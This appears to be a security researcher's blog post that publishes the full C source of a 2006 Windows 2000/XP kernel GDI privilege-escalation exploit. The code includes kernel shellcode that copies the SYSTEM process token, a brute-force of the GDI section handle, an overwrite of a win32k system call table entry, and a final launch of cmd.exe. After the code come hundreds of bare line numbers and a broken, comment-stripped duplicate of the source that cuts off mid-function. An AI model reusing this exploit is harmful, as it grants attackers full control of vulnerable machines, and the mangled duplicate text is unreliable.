windows kernel exploit gdi / ClevCode

Found another one of my old exploits. This one a Windows kernel exploit from 2006. :)

This also happens to be one of the exploits I demonstrated (but did not release) at BlackHat and DefCon in 2007, in our Kernel Wars talk. It was actually still unpatched when demonstrating it at BlackHat Europe, even though Microsoft had known about it (but did not think it was exploitable) since 2004. More information about that, and a couple of screenshots, can be found at kernelwars.blogspot.com.

In the demonstration I combined it with an exploit for another 0day we had in Office XP / Microsoft Word, to show the real impact of a privilege escalation exploit such as this one. Nowadays, kernel exploits are probably the most convenient way to break out of browser sandboxes such as the one used in Google Chrome, and of course to enable execution of unsigned code in iOS-based devices such as the iPhone and the iPad. Another nice thing about kernel vulnerabilities is that there are usually far fewer exploit mitigation mechanisms in the kernel than in userspace. ;)

gdixpl.c:

/*
 * Microsoft Windows kernel GDI local privilege escalation exploit.
 *
 * More info about the bug can be found at the following URL:
 * http://kernelfun.blogspot.com/2006/11/mokb-06-11-2006-microsoft-windows.html
 *
 * Compile in Cygwin with:
 * gcc -o gdixpl gdixpl.c -lntdll -lgdi32 -mno-cygwin
 *
 * Copyright (C) Joel Eriksson <je@bitsec.se> 2006
 */

#include <windows.h>
#include <process.h>
#include <tlhelp32.h>
#include <stdio.h>

typedef ULONG NTSTATUS;
#define NT_SUCCESS(x) ((x)>=0)

typedef struct __attribute__((packed)) {
    DWORD pKernelInfo;
    WORD wProcess;
    WORD wCount;
    WORD wUpper;
    WORD wType;
    DWORD pUserInfo;
} GDITableEntry;
/* sizeof(GDITableEntry) == 16 */

#define MAX_GDI_HANDLE                  ((HANDLE) 0x10000)
#define BRUSH_TYPE                      16
#define MAKE_DC(Upper, Index)           ((((DWORD) Upper) << 16) | Index)

#define W2K_PID_SYSTEM                  8
#define W2K_OFF_PID                     0x9c
#define W2K_OFF_FLINK                   0xa0
#define W2K_OFF_TOKEN                   0x12c
#define W2K_SYS_NtGdiDeleteObjectApp    0x1075
#define W2K_SYS_NtUserCloseDesktop      0x1142
#define W2K_MAX_GDI_TABLE_ENTRIES       0x4000

#define WXP_PID_SYSTEM                  4
#define WXP_OFF_PID                     0x84
#define WXP_OFF_FLINK                   0x88
#define WXP_OFF_TOKEN                   0xc8
#define WXP_SYS_NtGdiDeleteObjectApp    0x107a
#define WXP_SYS_NtUserCloseDesktop      0x114c
#define WXP_MAX_GDI_TABLE_ENTRIES       0x10000

static DWORD GetW32pServiceTableAddr(DWORD dwOff, DWORD *pdwOrigSysCall);

typedef struct _SECTION_BASIC_INFORMATION {
    ULONG d000;
    ULONG SectionAttributes;
    LARGE_INTEGER SectionSize;
} SECTION_BASIC_INFORMATION;

NTSTATUS
WINAPI
NtQuerySystemInformation(
    DWORD SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

NTSTATUS
WINAPI
NtQuerySection(
    HANDLE SectionHandle,
    DWORD SectionInformationClass,
    PVOID SectionInformation,
    ULONG SectionInformationLength,
    PULONG ResultLength
);

NTSTATUS
NTAPI
NtAllocateVirtualMemory(
    IN HANDLE   ProcessHandle,
    IN OUT PVOID    *BaseAddress,
    IN ULONG    ZeroBits,
    IN OUT PULONG   RegionSize,
    IN ULONG    AllocationType,
    IN ULONG    Protect
);

static DWORD
DoSysCall(DWORD dwSysCall, DWORD dwArg)
{
    __asm__(
        "push %1\n\t"
        "mov  %%esp,%%edx\n\t"
        "mov  %0,%%eax\n\t"
        "int  $0x2e\n\t"
        "add  $4,%%esp"
        :
        : "m"(dwSysCall), "m"(dwArg)
        : "eax", "edx"
    );
}

static BOOL
GetOS(PDWORD pdwMajor, PDWORD pdwMinor)
{
    OSVERSIONINFO os;

    memset(&os, '\0', sizeof(os));

    os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

    if (! GetVersionEx((OSVERSIONINFO *) &os))
        return FALSE;

    *pdwMajor = os.dwMajorVersion;
    *pdwMinor = os.dwMinorVersion;

    return TRUE;
}

int
main(int argc, char **argv)
{
    /*
     * Code to copy the access token from the
     * System-process to the exploit process.
     */
    char code_payload[] =
        "\x64"                  /* mov eax,                     */
        "\xa1\x24\x01\x00\x00"  /* [fs:OFF_ETHREAD]             */
        "\x8b\x40\x44"          /* mov eax, [eax+OFF_EPROCESS]  */
        "\x89\xc1"              /* mov ecx, eax                 */
        "\x8b\x80" "XXXX"       /* mov eax, [eax+OFF_FLINK]     */
        "\x2d" "XXXX"           /* sub eax, OFF_FLINK           */
        "\x81\xb8"              /* cmp                          */
        "XXXX"                  /* dword [eax+OFF_PID],         */
        "XXXX"                  /* SYSTEM_PID                   */
        "\x75\xe9"              /* jnz FindSystemProcess        */
        "\x8b\x90" "XXXX"       /* mov edx, [eax+OFF_TOKEN]     */
        "\x8b\x81" "XXXX"       /* mov eax, [ecx+OFF_TOKEN]     */
        "\x89\x91" "XXXX"       /* mov [ecx+OFF_TOKEN], edx     */
        "\xc3"                  /* ret                          */
    ;

    /*
     * Code to restore the original process token and the
     * original value of the overwritten system call.
     */
    char code_restore[] =
        "\x64"                  /* mov eax,                     */
        "\xa1\x24\x01\x00\x00"  /* [fs:OFF_ETHREAD]             */
        "\x8b\x40\x44"          /* mov eax, [eax+OFF_EPROCESS]  */
        "\x8b\x4c\x24\x04"      /* mov ecx, [esp+4]             */
        "\x8b\x11"              /* mov edx, [ecx]               */
        "\x89\x90" "XXXX"       /* mov [eax+OFF_TOKEN], edx     */
        "\x8b\x41\x04"          /* mov eax, [ecx+4]             */
        "\x8b\x51\x08"          /* mov edx, [ecx+8]             */
        "\x89\x10"              /* mov [eax], edx               */
        "\xc3"                  /* ret                          */
    ;

    DWORD SYS_NtGdiDeleteObjectApp, SYS_NtUserCloseDesktop;
    DWORD FakeObj[64], dwW32pServiceTable, dwSysCallAddr;
    SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };
    DWORD dwMaxGdiTableEntries, dwMinGdiTableSize;
    DWORD dwMajor, dwMinor, dwOrigKernelInfo;
    DWORD pid, i, dwOldToken, dwDC, dwAddr;
    DWORD dwOrigSysCall, pdwArgs[4];
    SECTION_BASIC_INFORMATION sec;
    CHAR szUserName[1024];
    LPVOID lpAddr = NULL;
    GDITableEntry *pGDI;
    WORD wIdx, wUpr;
    ULONG ulSize;
    HANDLE hMap;
    NTSTATUS rc;
    HANDLE hBR;
    CHAR *mem;

    if (! GetOS(&dwMajor, &dwMinor)) {
        fprintf(stderr, "Could not determine OS version.\n");
        return 1;
    }

    if (dwMajor != 5 || dwMinor > 1) {
        fprintf(stderr, "This exploit is only for W2K and WXP.\n");
        return 2;
    }

    if (dwMinor == 0) {
        SYS_NtGdiDeleteObjectApp = W2K_SYS_NtGdiDeleteObjectApp;
        SYS_NtUserCloseDesktop = W2K_SYS_NtUserCloseDesktop;
        dwMaxGdiTableEntries = W2K_MAX_GDI_TABLE_ENTRIES;

        *((PDWORD) &code_payload[13]) = W2K_OFF_FLINK;
        *((PDWORD) &code_payload[18]) = W2K_OFF_FLINK;
        *((PDWORD) &code_payload[24]) = W2K_OFF_PID;
        *((PDWORD) &code_payload[28]) = W2K_PID_SYSTEM;
        *((PDWORD) &code_payload[36]) = W2K_OFF_TOKEN;
        *((PDWORD) &code_payload[42]) = W2K_OFF_TOKEN;
        *((PDWORD) &code_payload[48]) = W2K_OFF_TOKEN;

        *((PDWORD) &code_restore[17]) = W2K_OFF_TOKEN;
    } else {
        SYS_NtGdiDeleteObjectApp = WXP_SYS_NtGdiDeleteObjectApp;
        SYS_NtUserCloseDesktop = WXP_SYS_NtUserCloseDesktop;
        dwMaxGdiTableEntries = WXP_MAX_GDI_TABLE_ENTRIES;

        *((PDWORD) &code_payload[13]) = WXP_OFF_FLINK;
        *((PDWORD) &code_payload[18]) = WXP_OFF_FLINK;
        *((PDWORD) &code_payload[24]) = WXP_OFF_PID;
        *((PDWORD) &code_payload[28]) = WXP_PID_SYSTEM;
        *((PDWORD) &code_payload[36]) = WXP_OFF_TOKEN;
        *((PDWORD) &code_payload[42]) = WXP_OFF_TOKEN;
        *((PDWORD) &code_payload[48]) = WXP_OFF_TOKEN;

        *((PDWORD) &code_restore[17]) = WXP_OFF_TOKEN;
    }
    dwMinGdiTableSize = dwMaxGdiTableEntries * sizeof(GDITableEntry);

    /*
     * Determine address to write to.
     */

    fprintf(stderr, "[*] Determining addresses.\n");

    dwW32pServiceTable =
        GetW32pServiceTableAddr(
            SYS_NtUserCloseDesktop,
            &dwOrigSysCall
        );

    if (dwW32pServiceTable == 0) {
        fprintf(
            stderr,
            "Could not determine W32pServiceTable address.\n"
        );
        return 3;
    }

    dwSysCallAddr =
        dwW32pServiceTable + (SYS_NtUserCloseDesktop - 0x1000) * 4;

    fprintf(
        stderr,
        "[*] W32pServiceTable    : 0x%X\n",
        (UINT) dwW32pServiceTable
    );
    fprintf(
        stderr,
        "[*] &NtUserCloseDesktop : 0x%X\n",
        (UINT) dwSysCallAddr
    );

    fprintf(
        stderr,
        "[*] *0x%08X         : 0x%X\n",
        (UINT) dwSysCallAddr,
        (UINT) dwOrigSysCall
    );

    /*
     * Place shellcode @ 0x00000002
     */

    fprintf(stderr, "[*] Allocating space for shellcode.\n");

    pid = GetCurrentProcessId();

    dwAddr = 1;
    ulSize = 0x1000;
    rc = NtAllocateVirtualMemory(
        (HANDLE) -1, (PVOID) &dwAddr, 0, &ulSize,
        MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );

    if (! NT_SUCCESS(rc)) {
        fprintf(
            stderr, "NtAllocateVirtualMemory() failed. (%d)\n",
            (int) GetLastError()
        );
    }

    mem = (CHAR *) 0;

    memcpy(&mem[2], code_payload, sizeof(code_payload)-1);

    fprintf(stderr, "[*] Shellcode written to 0x%08X\n", (int) &mem[2]);

    /*
     * Must create a GDI object before being able to map the GDI section.
     */

    hBR  = CreateSolidBrush(0);
    wIdx = (WORD) (((DWORD) hBR) & 0xffff);
    wUpr = (WORD) (((DWORD) hBR) >> 16);

    /*
     * Bruteforce the GDI section handle.
     */

    fprintf(stderr, "[*] Bruteforcing the GDI section handle.\n");

    for (hMap = (HANDLE) 0; hMap < MAX_GDI_HANDLE; hMap++) {
        if (lpAddr != NULL)
            CloseHandle(hMap);

        lpAddr = MapViewOfFile(hMap, FILE_MAP_ALL_ACCESS, 0, 0, 0);

        if (lpAddr == NULL)
            continue;

        rc = NtQuerySection(hMap, 0, &sec, sizeof(sec), 0);

        if (! NT_SUCCESS(rc)) {
            fprintf(stderr, "NtQuerySection() failed.\n");
            continue;
        }

        if (sec.SectionSize.QuadPart < dwMinGdiTableSize)
            continue;

        pGDI = (GDITableEntry *) lpAddr;

        /*
         * Determine if it's the real GDI section by checking if the
         * DC handle to the window we created exists and have the
         * correct values.
         */

        if (pGDI[wIdx].wProcess == pid
        &&  pGDI[wIdx].wUpper   == wUpr
        &&  pGDI[wIdx].wType    == BRUSH_TYPE)
            break;
    }

    if (hMap == MAX_GDI_HANDLE) {
        fprintf(stderr, "GDI section not found!\n");
        VirtualFree(mem, 0x1000, MEM_DECOMMIT);
        return 5;
    }

    fprintf(
        stderr,
        "[*] Writable GDI section mapped @ 0x%X\n",
        (UINT) lpAddr
    );

    /*
     * Make the fake kernelspace brush object.
     */

    memset(FakeObj, '\0', sizeof(FakeObj));
    FakeObj[1] = 0xbadc0ded;
    FakeObj[2] = 1;
    i = wIdx;

    /*
     * Use our brush-object to achieve an overwrite of the address
     * specified in FakeObj[9] with the value 2.
     */

    FakeObj[0] = dwDC = MAKE_DC(pGDI[i].wUpper, i);

    /*
     * Save the original pKernelInfo pointer.
     */

    dwOrigKernelInfo = pGDI[i].pKernelInfo;
    pGDI[i].pKernelInfo = (DWORD) FakeObj;

    /*
     * Temporarily change the pKernelInfo pointer and trigger calls
     * to bDeleteBrush() by calling NtGdiDeleteObjectApp(), which
     * will write 0x00000002 to the address specified in FakeObj[9].
     */

    fprintf(
        stderr,
        "[*] Triggering write with 0x00000002 to 0x%08X\n",
        (UINT) dwSysCallAddr
    );

    FakeObj[9] = dwSysCallAddr;
    DoSysCall(SYS_NtGdiDeleteObjectApp, dwDC);

    /*
     * Restore the original pKernelInfo pointer.
     */

    pGDI[i].pKernelInfo = dwOrigKernelInfo;

    fprintf(stderr, "[*] NtUserCloseDesktop() hooked!\n");

    printf("[*] Calling NtUserCloseDesktop() to execute our shellcode.\n");

    dwOldToken = DoSysCall(SYS_NtUserCloseDesktop, 0);

    printf("[*] Return value = 0x%X\n", (int) dwOldToken);

    fprintf(stderr, "[*] Executing cmd.exe.\n");

    ShellExecute(NULL, "open", "cmd", NULL, ".", SW_SHOWNORMAL);

    memcpy(&mem[2], code_restore, sizeof(code_restore)-1);

    fprintf(stderr, "[*] Restore code written to 0x%08x.\n", (int) &mem[2]);

    pdwArgs[0] = dwOldToken;
    pdwArgs[1] = dwSysCallAddr;
    pdwArgs[2] = dwOrigSysCall;

    fprintf(stderr, "[*] Restoring token and syscalls.\n");

    DoSysCall(SYS_NtUserCloseDesktop, (DWORD) pdwArgs);

    CloseHandle(hMap);

    VirtualFree(mem, 0x1000, MEM_DECOMMIT);

    return 0;
}

static DWORD
GetW32pServiceTableAddr(DWORD dwSysCall, DWORD *pdwOrigSysCall)
{
    DWORD dwTextMin, dwTextMax, dwFileSize, dwSize, dwAddr, dwIAT;
    DWORD dwDataMin, dwDataMax, dwDataSize;
    DWORD dwInitMin, dwInitMax, dwInitSize;
    TCHAR lpDir[256], lpFileName[256];
    DWORD dwW32pServiceTableAddr;
    PIMAGE_IMPORT_DESCRIPTOR pid;
    PIMAGE_OPTIONAL_HEADER poh;
    PIMAGE_SECTION_HEADER psh;
    PIMAGE_FILE_HEADER pfh;
    PDWORD pdwSysCallTable;
    PIMAGE_THUNK_DATA ptd;
    PIMAGE_DOS_HEADER pdh;
    PIMAGE_NT_HEADERS pnh;
    PBYTE pInit, pData;
    HANDLE hFile, hMap;
    DWORD rc, i, j;
    PBYTE p, pMap;

    rc = GetEnvironmentVariable("SystemRoot", lpDir, sizeof(lpDir));

    if (rc == 0) {
        fprintf(
            stderr, "GetEnvironmentVariable() failed. (%d)\n",
            (int) GetLastError()
        );
        return 0;
    }

    memset(lpFileName, '\0', sizeof(lpFileName));
    snprintf(
        lpFileName, sizeof(lpFileName),
        "%s\\SYSTEM32\\WIN32K.SYS", lpDir
    );

    hFile =
        CreateFile(
            lpFileName, GENERIC_READ,
            FILE_SHARE_READ, NULL, OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL, NULL
        );

    if (hFile == INVALID_HANDLE_VALUE) {
        fprintf(
            stderr, "CreateFile() failed. (%d)\n",
            (int) GetLastError()
        );
        return 0;
    }

    dwFileSize = GetFileSize(hFile, NULL);
    if (dwFileSize == INVALID_FILE_SIZE) {
        fprintf(
            stderr, "GetFileSize() failed. (%d)\n",
            (int) GetLastError()
        );
        CloseHandle(hFile);
        return 0;
    }

    hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);

    if (hMap == NULL) {
        fprintf(
            stderr, "CreateFileMapping() failed. (%d)\n",
            (int) GetLastError()
        );
        CloseHandle(hFile);
        return 0;
    }

    pMap = (LPVOID) MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

    if (pMap == NULL) {
        fprintf(
            stderr, "MapViewOfFile() failed. (%d)\n",
            (int) GetLastError()
        );
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
    }

    pdh = (PIMAGE_DOS_HEADER) pMap;

    if (pdh->e_magic != IMAGE_DOS_SIGNATURE) {
        fprintf(stderr, "Invalid DOS signature in PE-file.\n");
        UnmapViewOfFile(pMap);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
    }

    pnh = (PIMAGE_NT_HEADERS) &pMap[pdh->e_lfanew];

    if (pnh->Signature != IMAGE_NT_SIGNATURE) {
        fprintf(stderr, "Invalid NT signature in PE-file.\n");
        UnmapViewOfFile(pMap);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
    }

    pfh = (PIMAGE_FILE_HEADER)
        &pMap[pdh->e_lfanew + sizeof(IMAGE_NT_SIGNATURE)];

    poh = (PIMAGE_OPTIONAL_HEADER)
        ((PBYTE) pfh + sizeof(IMAGE_FILE_HEADER));

    dwAddr =
        poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
        .VirtualAddress;

    pid = (PIMAGE_IMPORT_DESCRIPTOR) &pMap[dwAddr];

    dwSize = poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
    for (i = 0; i < dwSize / sizeof(pid[0]); i++) {
        if (pid[i].Name != 0) {
            ptd = (PIMAGE_THUNK_DATA) &pMap[pid[i].FirstThunk];
            for (j = 0; ptd[j].u1.AddressOfData; j++) {
                DWORD x = ptd[j].u1.AddressOfData + 2;
                if (! strcmp(
                    &pMap[x],
                    "KeAddSystemServiceTable"
                ))
                    break;
            }
            if (ptd[j].u1.AddressOfData != 0)
                break;
        }
    }

    if (i == dwSize / sizeof(pid[0])) {
        fprintf(stderr, "Could not find IAT-entry.\n");
        UnmapViewOfFile(pMap);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
    }

    dwIAT = poh->ImageBase;
    dwIAT += pid[i].FirstThunk;
    dwIAT += j * sizeof(ptd[0]);

    psh = (PIMAGE_SECTION_HEADER)
        ((PBYTE) poh + sizeof(IMAGE_OPTIONAL_HEADER));

    for (i = j = 0; i < pfh->NumberOfSections && j < 3; i++) {
        if (! strcmp(psh[i].Name, ".text")) {
            dwTextMin = poh->ImageBase + psh[i].VirtualAddress;
            dwTextMax = dwTextMin + psh[i].SizeOfRawData;
            j++;
        }
        if (! strcmp(psh[i].Name, "INIT")) {
            dwInitMin = poh->ImageBase + psh[i].VirtualAddress;
            dwInitMax = dwInitMin + psh[i].SizeOfRawData;
            pInit = &pMap[psh[i].PointerToRawData];
            dwInitSize = psh[i].SizeOfRawData;
            j++;
        }
        if (! strcmp(psh[i].Name, ".data")) {
            dwDataMin = poh->ImageBase + psh[i].VirtualAddress;
            dwDataMax = dwDataMin + psh[i].SizeOfRawData;
            pData = &pMap[psh[i].PointerToRawData];
            dwDataSize = psh[i].SizeOfRawData;
            j++;
        }
    }

    if (j != 3) {
        fprintf(stderr, "Could not locate .data and .text.\n");
        UnmapViewOfFile(pMap);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
    }

    /* Find the call to KeAddSystemServiceTable */
    for (p = pInit; p < &pInit[dwInitSize-6]; p++)
        if (p[0] == 0xFF && p[1] == 0x15) {
            DWORD x = *((PDWORD) &p[2]);
            if (x == dwIAT)
                break;
        }

    if (p == &pInit[dwInitSize-6]) {
        fprintf(
            stderr,
            "Could not find call to KeAddSystemServiceTable.\n"
        );
        UnmapViewOfFile(pMap);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
    }

    /* Find the push of W32pServiceTable */
    dwW32pServiceTableAddr = 0;
    p -= 5;
    while (p > pInit) {
        if (p[0] == 0x68) {
            DWORD x = *((PDWORD) &p[1]);
            if (x >= dwDataMin && x <= dwDataMax) {
                dwW32pServiceTableAddr = x;
                break;
            }
        }
    }

    if (dwW32pServiceTableAddr == 0) {
        fprintf(
            stderr,
            "Could not find push of W32pServiceTableAddr.\n"
        );
        UnmapViewOfFile(pMap);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
    }

    pdwSysCallTable =
        (PDWORD) &pMap[dwW32pServiceTableAddr - poh->ImageBase];

    *pdwOrigSysCall = pdwSysCallTable[dwSysCall-0x1000];

    UnmapViewOfFile(pMap);
    CloseHandle(hMap);
    CloseHandle(hFile);

    return dwW32pServiceTableAddr;
}

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

388

389

390

391

392

393

394

395

396

397

398

399

400

401

402

403

404

405

406

407

408

409

410

411

412

413

414

415

416

417

418

419

420

421

422

423

424

425

426

427

428

429

430

431

432

433

434

435

436

437

438

439

440

441

442

443

444

445

446

447

448

449

450

451

452

453

454

455

456

457

458

459

460

461

462

463

464

465

466

467

468

469

470

471

472

473

474

475

476

477

478

479

480

481

482

483

484

485

486

487

488

489

490

491

492

493

494

495

496

497

498

499

500

501

502

503

504

505

506

507

508

509

510

511

512

513

514

515

516

517

518

519

520

521

522

523

524

525

526

527

528

529

530

531

532

533

534

535

536

537

538

539

540

541

542

543

544

545

546

547

548

549

550

551

552

553

554

555

556

557

558

559

560

561

562

563

564

565

566

567

568

569

570

571

572

573

574

575

576

577

578

579

580

581

582

583

584

585

586

587

588

589

590

591

592

593

594

595

596

597

598

599

600

601

602

603

604

605

606

607

608

609

610

611

612

613

614

615

616

617

618

619

620

621

622

623

624

625

626

627

628

629

630

631

632

633

634

635

636

637

638

639

640

641

642

643

644

645

646

647

648

649

650

651

652

653

654

655

656

657

* Microsoft Windows kernel GDI local privilege escalation exploit.

* More info about the bug can be found at the following URL:

* http://kernelfun.blogspot.com/2006/11/mokb-06-11-2006-microsoft-windows.html

* Compile in Cygwin with:

* gcc -o gdixpl gdixpl.c -lntdll -lgdi32 -mno-cygwin

* Copyright (C) Joel Eriksson <je@bitsec.se> 2006

#include <windows.h>

#include <process.h>

#include <tlhelp32.h>

#include <stdio.h>

typedef ULONG NTSTATUS;

#define NT_SUCCESS(x) ((x)>=0)

typedef struct __attribute__((packed)) {

DWORD pKernelInfo;

WORD wProcess;

WORD wCount;

WORD wUpper;

WORD wType;

DWORD pUserInfo;

} GDITableEntry;

/* sizeof(GDITableEntry) == 16 */

#define MAX_GDI_HANDLE ((HANDLE) 0x10000)

#define BRUSH_TYPE 16

#define MAKE_DC(Upper, Index) ((((DWORD) Upper) << 16) | Index)

#define W2K_PID_SYSTEM 8

#define W2K_OFF_PID 0x9c

#define W2K_OFF_FLINK 0xa0

#define W2K_OFF_TOKEN 0x12c

#define W2K_SYS_NtGdiDeleteObjectApp 0x1075

#define W2K_SYS_NtUserCloseDesktop 0x1142

#define W2K_MAX_GDI_TABLE_ENTRIES 0x4000

#define WXP_PID_SYSTEM 4

#define WXP_OFF_PID 0x84

#define WXP_OFF_FLINK 0x88

#define WXP_OFF_TOKEN 0xc8

#define WXP_SYS_NtGdiDeleteObjectApp 0x107a

#define WXP_SYS_NtUserCloseDesktop 0x114c

#define WXP_MAX_GDI_TABLE_ENTRIES 0x10000

static DWORD GetW32pServiceTableAddr(DWORD dwOff, DWORD *pdwOrigSysCall);

typedef struct _SECTION_BASIC_INFORMATION {

ULONG d000;

ULONG SectionAttributes;

LARGE_INTEGER SectionSize;

} SECTION_BASIC_INFORMATION;

NTSTATUS

WINAPI

NtQuerySystemInformation(

DWORD SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength

);

NTSTATUS

WINAPI

NtQuerySection(

HANDLE SectionHandle,

DWORD SectionInformationClass,

PVOID SectionInformation,

ULONG SectionInformationLength,

PULONG ResultLength

);

NTSTATUS

NTAPI

NtAllocateVirtualMemory(

IN HANDLE ProcessHandle,

IN OUT PVOID *BaseAddress,

IN ULONG ZeroBits,

IN OUT PULONG RegionSize,

IN ULONG AllocationType,

IN ULONG Protect

);

static DWORD

DoSysCall(DWORD dwSysCall, DWORD dwArg)

{

__asm__(

"push %1\n\t"

"mov %%esp,%%edx\n\t"

"mov %0,%%eax\n\t"

"int $0x2e\n\t"

"add $4,%%esp"

: "m"(dwSysCall), "m"(dwArg)

: "eax", "edx"

);

}

static BOOL

GetOS(PDWORD pdwMajor, PDWORD pdwMinor)

{

OSVERSIONINFO os;

memset(&os, '\0', sizeof(os));

os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

if (! GetVersionEx((OSVERSIONINFO *) &os))

return FALSE;

*pdwMajor = os.dwMajorVersion;

*pdwMinor = os.dwMinorVersion;

return TRUE;

}

int

main(int argc, char **argv)

{

* Code to copy the access token from the

* System-process to the exploit process.

char code_payload[] =

"\x64" /* mov eax, */

"\xa1\x24\x01\x00\x00" /* [fs:OFF_ETHREAD] */

"\x8b\x40\x44" /* mov eax, [eax+OFF_EPROCESS] */

"\x89\xc1" /* mov ecx, eax */

"\x8b\x80" "XXXX" /* mov eax, [eax+OFF_FLINK] */

"\x2d" "XXXX" /* sub eax, OFF_FLINK */

"\x81\xb8" /* cmp */

"XXXX" /* dword [eax+OFF_PID], */

"XXXX" /* SYSTEM_PID */

"\x75\xe9" /* jnz FindSystemProcess */

"\x8b\x90" "XXXX" /* mov edx, [eax+OFF_TOKEN] */

"\x8b\x81" "XXXX" /* mov eax, [ecx+OFF_TOKEN] */

"\x89\x91" "XXXX" /* mov [ecx+OFF_TOKEN], edx */

"\xc3" /* ret */

;

* Code to restore the original process token and the

* original value of the overwritten system call.

char code_restore[] =

"\x64" /* mov eax, */

"\xa1\x24\x01\x00\x00" /* [fs:OFF_ETHREAD] */

"\x8b\x40\x44" /* mov eax, [eax+OFF_EPROCESS] */

"\x8b\x4c\x24\x04" /* mov ecx, [esp+4] */

"\x8b\x11" /* mov edx, [ecx] */

"\x89\x90" "XXXX" /* mov [eax+OFF_TOKEN], edx */

"\x8b\x41\x04" /* mov eax, [ecx+4] */

"\x8b\x51\x08" /* mov edx, [ecx+8] */

"\x89\x10" /* mov [eax], edx */

"\xc3" /* ret */

;

DWORD SYS_NtGdiDeleteObjectApp, SYS_NtUserCloseDesktop;

DWORD FakeObj[64], dwW32pServiceTable, dwSysCallAddr;

SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };

DWORD dwMaxGdiTableEntries, dwMinGdiTableSize;

DWORD dwMajor, dwMinor, dwOrigKernelInfo;

DWORD pid, i, dwOldToken, dwDC, dwAddr;

DWORD dwOrigSysCall, pdwArgs[4];

SECTION_BASIC_INFORMATION sec;

CHAR szUserName[1024];

LPVOID lpAddr = NULL;

GDITableEntry *pGDI;

WORD wIdx, wUpr;

ULONG ulSize;

HANDLE hMap;

NTSTATUS rc;

HANDLE hBR;

CHAR *mem;

if (! GetOS(&dwMajor, &dwMinor)) {

fprintf(stderr, "Could not determine OS version.\n");

return 1;

}

if (dwMajor != 5 || dwMinor > 1) {

fprintf(stderr, "This exploit is only for W2K and WXP.\n");

return 2;

}

if (dwMinor == 0) {

SYS_NtGdiDeleteObjectApp = W2K_SYS_NtGdiDeleteObjectApp;

SYS_NtUserCloseDesktop = W2K_SYS_NtUserCloseDesktop;

dwMaxGdiTableEntries = W2K_MAX_GDI_TABLE_ENTRIES;

*((PDWORD) &code_payload[13]) = W2K_OFF_FLINK;

*((PDWORD) &code_payload[18]) = W2K_OFF_FLINK;

*((PDWORD) &code_payload[24]) = W2K_OFF_PID;

*((PDWORD) &code_payload[28]) = W2K_PID_SYSTEM;

*((PDWORD) &code_payload[36]) = W2K_OFF_TOKEN;

*((PDWORD) &code_payload[42]) = W2K_OFF_TOKEN;

*((PDWORD) &code_payload[48]) = W2K_OFF_TOKEN;

*((PDWORD) &code_restore[17]) = W2K_OFF_TOKEN;

} else {

SYS_NtGdiDeleteObjectApp = WXP_SYS_NtGdiDeleteObjectApp;

SYS_NtUserCloseDesktop = WXP_SYS_NtUserCloseDesktop;

dwMaxGdiTableEntries = WXP_MAX_GDI_TABLE_ENTRIES;

*((PDWORD) &code_payload[13]) = WXP_OFF_FLINK;

*((PDWORD) &code_payload[18]) = WXP_OFF_FLINK;

*((PDWORD) &code_payload[24]) = WXP_OFF_PID;

*((PDWORD) &code_payload[28]) = WXP_PID_SYSTEM;

*((PDWORD) &code_payload[36]) = WXP_OFF_TOKEN;

*((PDWORD) &code_payload[42]) = WXP_OFF_TOKEN;

*((PDWORD) &code_payload[48]) = WXP_OFF_TOKEN;

*((PDWORD) &code_restore[17]) = WXP_OFF_TOKEN;

}

dwMinGdiTableSize = dwMaxGdiTableEntries * sizeof(GDITableEntry);

* Determine address to write to.

fprintf(stderr, "[*] Determining addresses.\n");

dwW32pServiceTable =

GetW32pServiceTableAddr(

SYS_NtUserCloseDesktop,

&dwOrigSysCall

);

if (dwW32pServiceTable == 0) {

fprintf(

stderr,

"Could not determine W32pServiceTable address.\n"

);

return 3;

}

dwSysCallAddr =

dwW32pServiceTable + (SYS_NtUserCloseDesktop - 0x1000) * 4;

fprintf(

stderr,

"[*] W32pServiceTable : 0x%X\n",

(UINT) dwW32pServiceTable

);

fprintf(

stderr,

"[*] &NtUserCloseDesktop : 0x%X\n",

(UINT) dwSysCallAddr

);

fprintf(

stderr,

"[*] *0x%08X : 0x%X\n",

(UINT) dwSysCallAddr,

(UINT) dwOrigSysCall

);

* Place shellcode @ 0x00000002

fprintf(stderr, "[*] Allocating space for shellcode.\n");

pid = GetCurrentProcessId();

dwAddr = 1;

